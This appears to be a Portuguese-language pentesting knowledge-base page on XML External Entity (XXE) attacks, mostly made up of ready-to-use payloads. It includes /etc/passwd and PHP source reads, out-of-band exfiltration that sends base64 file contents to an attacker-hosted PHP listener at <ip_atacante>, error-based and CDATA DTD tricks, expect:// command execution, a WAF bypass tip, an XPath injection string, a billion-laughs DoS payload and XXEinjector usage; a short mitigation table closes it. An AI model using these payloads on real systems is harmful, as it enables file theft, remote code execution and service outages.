> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/xxe.md).

# XXE

O Ataque XXE acontece quando uma requisição utilizando XML é tratada de forma insegura, possibilitando assim a injeção de comandos, a queda do serviço e/ou o acesso direto aos arquivos. Uma das formas mais comuns de exploração é o caso de campos de upload de arquivo, em que o arquivo importado tem efeito direto na aplicação. É importante ressaltar que arquivos com outras extensões como `docx`, `pptx`, `pdf`, entre outros, também possuem dados em XML em sua construção. Logo, o ataque não se limita apenas à passagem simples de dados em XML nas requisições ou apenas a arquivos de extensão `xml`.

###

### Estrutura do XML

| TIPO              | DESCRIÇÃO                                                                                                    | EXEMPLO                                  |
| ----------------- | ------------------------------------------------------------------------------------------------------------ | ---------------------------------------- |
| **`Tag`**         | The keys of an XML document, usually wrapped with (\</>) characters                                          | `<date>`                                 |
| **`Entity`**      | XML variables, usually wrapped with (&/;) characters                                                         | `&lt;`                                   |
| **`Element`**     | The root element or any of its child elements, and its value is stored in between a start-tag and an end-tag | `<date>01-01-2022</date>`                |
| **`Attribute`**   | Optional specifications for any element that are stored in the tags, which may be used by the XML parser     | `version="1.0"/encoding="UTF-8"`         |
| **`Declaration`** | Usually the first line of an XML document, and defines the XML version and encoding to use when parsing it   | `<?xml version="1.0" encoding="UTF-8"?>` |

Agora vamos nos atentar a algumas regras básicas da estrutura do xml, que são elas:

* Precisa sempre ter um elemento raiz &#x20;
* Todos os elementos precisam ter uma tag de fechamento &#x20;
* Atributos XML precisam de aspas &#x20;
* Caracteres especiais (`<`, `>`, `&`, `'` e `"`) precisam ter escapes &#x20;
* Espaço em branco é reservado no XML &#x20;

Para definir que o arquivo é um `XML`, seu arquivo deve conter um dos seguintes inícios:

```bash
<?xml version="1.0"?>
<?xml version="1.0" encoding="UTF-8"?>
<?xml version="1.0" encoding="ISO-8859-1"?>
```

Exemplo de um XML válido:

```markup
<?xml version="1.0"?>
    <change-log>
        <text>Hello World</text>
    </change-log>
```

### Entendendo o XXE

Para fins de exemplo, vamos sempre utilizar a estrutura abaixo, simulando que isso é o padrão quando preenchemos um formulário e é então enviado via POST. Ao fazermos isso, o resultado do campo name é refletido na página HTML.

```bash
<?xml version="1.0" encoding="UTF-8"?>
<root>
	<name>Mysther</name>
	<email></email>
</root>
```

Uma maneira simples de alterarmos a saída, é utilizando um DTD no início do XML. No exemplo abaixo, irá imprimir `XXE ATACK!!`

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
  <!ENTITY xxe "XXE ATTACK!!">
]>
<root>
	<name>&xxe;</name>
	<email>mys@ther.com</email>
</root>
```

Note que, em nosso exemplo, a entrada XML na solicitação HTTP não tinha DTD declarada nos próprios dados XML ou referenciada externamente, então adicionamos uma nova DTD antes de definir nossa entidade. Se o DOCTYPE já estivesse declarado na requisição XML, adicionaríamos apenas o elemento ENTITY a ele.

#### LFI

Lendo arquivos simples

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
	<name>&xxe;</name>
	<email>mys@ther.com</email>
</root>
```

Lendo arquivos em base64 (necessário para bypassar os caracters `<`, `>` e `&`).

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>
	<name>&xxe;</name>
	<email>mys@ther.com</email>
</root>
```

#### CDATA

Primeiro execute os seguintes comandos no host atacante:

```bash
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
sudo python -m http.server 80
```

Agora envie a seguinte solicitação para o host alvo

```bash
<?xml version="1.0"?>
<!DOCTYPE name [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///index.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://<ip_atacante>/xxe.dtd">
  %xxe;
]>
<root>
	<name>&joined;</name>
	<email>mys@ther.com</email>
</root>
```

#### Error Based XXE

Procure algum ponto onde possa causar um erro de XXE. Por exemplo, coloque uma Entity que não exista em algum lugar do XML: `<name>&entityInexistente;</name>`. Outra forma de causar um erro, é deixando alguma tag aberta ou utilizando caractes como `<`, `>` e `&` para quebrar o XML. Geralmente o erro tem o seguinte formato (em aplicações desenvolvidas em PHP):

```bash
<b>Warning</b>:  DOMDocument::loadXML(): StartTag: invalid element name in Entity, line: 123 in <b>/var/www/html/index.php</b> on line <b>123</b><br />
<b>Warning</b>:  simplexml_import_dom(): Invalid Nodetype to import in <b>/var/www/html/index.php</b> on line <b>123</b><br />
<br />
<b>Notice</b>:  Trying to get property 'name' of non-object in <b>/var/www/html/index.php</b> on line <b>123</b><br />
<br />
```

Agora crie um arquivo no host alvo chamado `xxe.dtd` com o seguinte conteúdo:

```bash
<!ENTITY % file SYSTEM "file:///index.php">
<!ENTITY % error "<!ENTITY content SYSTEM '%entityInexistente;/%file;'>">
```

Feito isso, envieo seguinte payload para o host alvo:

```bash
<?xml version="1.0"?>
<!DOCTYPE name [
	<!ENTITY % remote SYSTEM "http://<ip_atacante>/xxe.dtd">
	%remote;
	%error;
]>
<root>
	<name>Mysther</name>
	<email>mys@ther.com</email>
</root>
```

#### Out-of-Bound Data Exfiltration

Crie um arquivo chamado xxe.dtd com o seguinte conteúdo:

```bash
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<ip_atacante>/?content=%file;'>">
```

Crie também um arquivo chamado index.php com o conteúdo abaixo:

```bash
<?php
if (isset($_GET['content'])) {
	error_log("\n\n" . base64_decode($_GET['content']));
}
?>
```

Agora basta executar o comando abaixo para receber as requisições:

```bash
sudo php -S 0.0.0.0:80
```

Agora no alvo, envie:

```bash
<?xml version="1.0"?>
<!DOCTYPE name [
<!ENTITY % remote SYSTEM "http://<ip_atacante>/xxe.dtd">
  %remote;
  %oob;
]>
<name>&content;</name>
```

O conteúdo do arquivo `/etc/passwd` do host alvo irá ser exibido no terminal onde está executando o PHP.

### Acessando Arquivos (LFI / RFI)

Antes de realizar um LFI ou RFI, atente-se ao tipo de arquivo que irá ler, pois não podemos ler arquivos com os caracteres `<`, `>` e `&`, já que  eles quebram a estrutura do XML. Ao nos depararmos com essa situação, precisamos por exemplo, dcodificar o arquivo antes. Um exemplo de encode para esse cenário, é quando lemos arquivos PHP, que precisamos converter em base64 com a sintaxe abaixo, que deve ser substituída pelo `file:///path/to/file`

```bash
php://filter/convert.base64-encode/resource=<index.php>
```

#### Internos

```markup
# Interno
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
  
  
# Ou
<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]><test>%26x;</test>
```

Caso a aplicação utilize PHP, podemos ler arquivos convertendo-os em base64.

```markup
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=</path/to/file>"> ]>
<tag>
  <other-tag>
    <result>&xxe;</result>
  </other-tag>
</tag>
```

#### Externos

```markup
# Externo
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://<ip_atacante>/file.txt" >]><foo>&xxe;</foo>

      
# Ou
<!DOCTYPE data [<!ENTITY passwd SYSTEM "http://<ip_atacante>/file.txt">]><data><text>&passwd;</text></data>
```

O `ELEMENT` pode ser qualquer coisa. O `xxe` é a "variável" onde o conteúdo de `/etc/passwd` é armazenado. Ao desmarcá-lo na tag `foo`, o conteúdo é gerado. Dessa maneira, um invasor pode ler arquivos do sistema local. O `SYSTEM` significa que o que deve ser incluído pode ser encontrado localmente no sistema de arquivos.

{% hint style="success" %}
**DICA**: Alguns WAF's barram a palavra **`SYSTEM`**, porém podemos substituir pela palavra **`PUBLIC`** para realizar um bypass.
{% endhint %}

###

### Remote Code Execution

Se o módulo `expect` do PHP estiver carregado (o que é cada mais difícil de achar), podemos obter o RCE (Remote Code Execution)

```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
    <creds>
       <user>&xxe;</user>
       <pass>mypass</pass>
    </creds>
```

**Refletindo Conteúdo**

```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teste [ <!ENTITY xxe "Texto a ser refletido" > ]>
<tag_generica> &lt;&xxe;&gt; </tag_generica>
```

### XXEInjector

Primeiro intecepte a página com o burp e salve em um arquivo. Nesse arquivo, não coloque todo o XML, mas sim somente a primeira linha, e depois `XXEINJECT`. Segue abaixo um exemplo

```bash
POST /index.php HTTP/1.1
Host: <ip_alvo>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 120
Origin: http://<ip_alvo>
Connection: close
Referer: http://<ip_alvo>/

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
```

Agora execute o XXEInjector, com o seguinte comando:

```bash
ruby XXEinjector.rb --host=<ip_atacante> --httpport=<porta> --file=<file_header_burp.txt> --path=/etc/passwd --oob=http --phpfilter
```

{% hint style="info" %}
**ATENÇÃO:** Mesmo quando o resultado for negativo, verifique no diretório `Logs`, se há alguma arquivo. Muitas vezes o XXE teve êxito e salva em um arquivo, porém não é exibido no terminal
{% endhint %}

### **XPath**

XPath é uma linguagem de consulta (query), que seleciona nós de um documento XML. Imagine que o documento XML seja banco de dados e o XPath seja o responsável por realizar as consulta. Assim como o SQL Injection, é possível manipular essas consultas e conseguir acesso a mais elementos, obtendo assim mais informações. Podemos pegar resultados nos nós parentes, como no exemplo abaixo:

```markup
admin' or 1=1]/parent::*/child::node()
```

### DoS

Essa técnica não funciona nas versões mais recentes do Apache, pois foi implementado uma proteção contra self-reference (auto-referência))

```bash
<?xml version="1.0"?>
<!DOCTYPE name [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
  <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
  <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
  <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">        
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">        
]>
<root>
	<name>&a10;</name>
	<email>mys@ther.com</email>
</root>
```

### **Como se Proteger**

| **LINGUAGEM** | SOLUÇÃO                                                                                                                                                    |
| ------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `PHP`         | Desabilitar a lib `libxml_disable_entity_loader` mitiga este tipo de problema                                                                              |
| `Java`        | Aplicações que utilizam bibliotecas XML costumam ser vulneráveis por possibilitarem de forma padrão o uso de entidades externas. É necessário desativá-las |
| `C / C++`     | Para a biblioteca `libxml2`, as opções `XML_PARSE_NOENT` e `XML_PARSE_DTDLOAD` não devem ser definidas                                                     |

\---

#### Sites

```bash
# XXInjector
https://github.com/enjoiz/XXEinjector

# OWASP
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#php
```
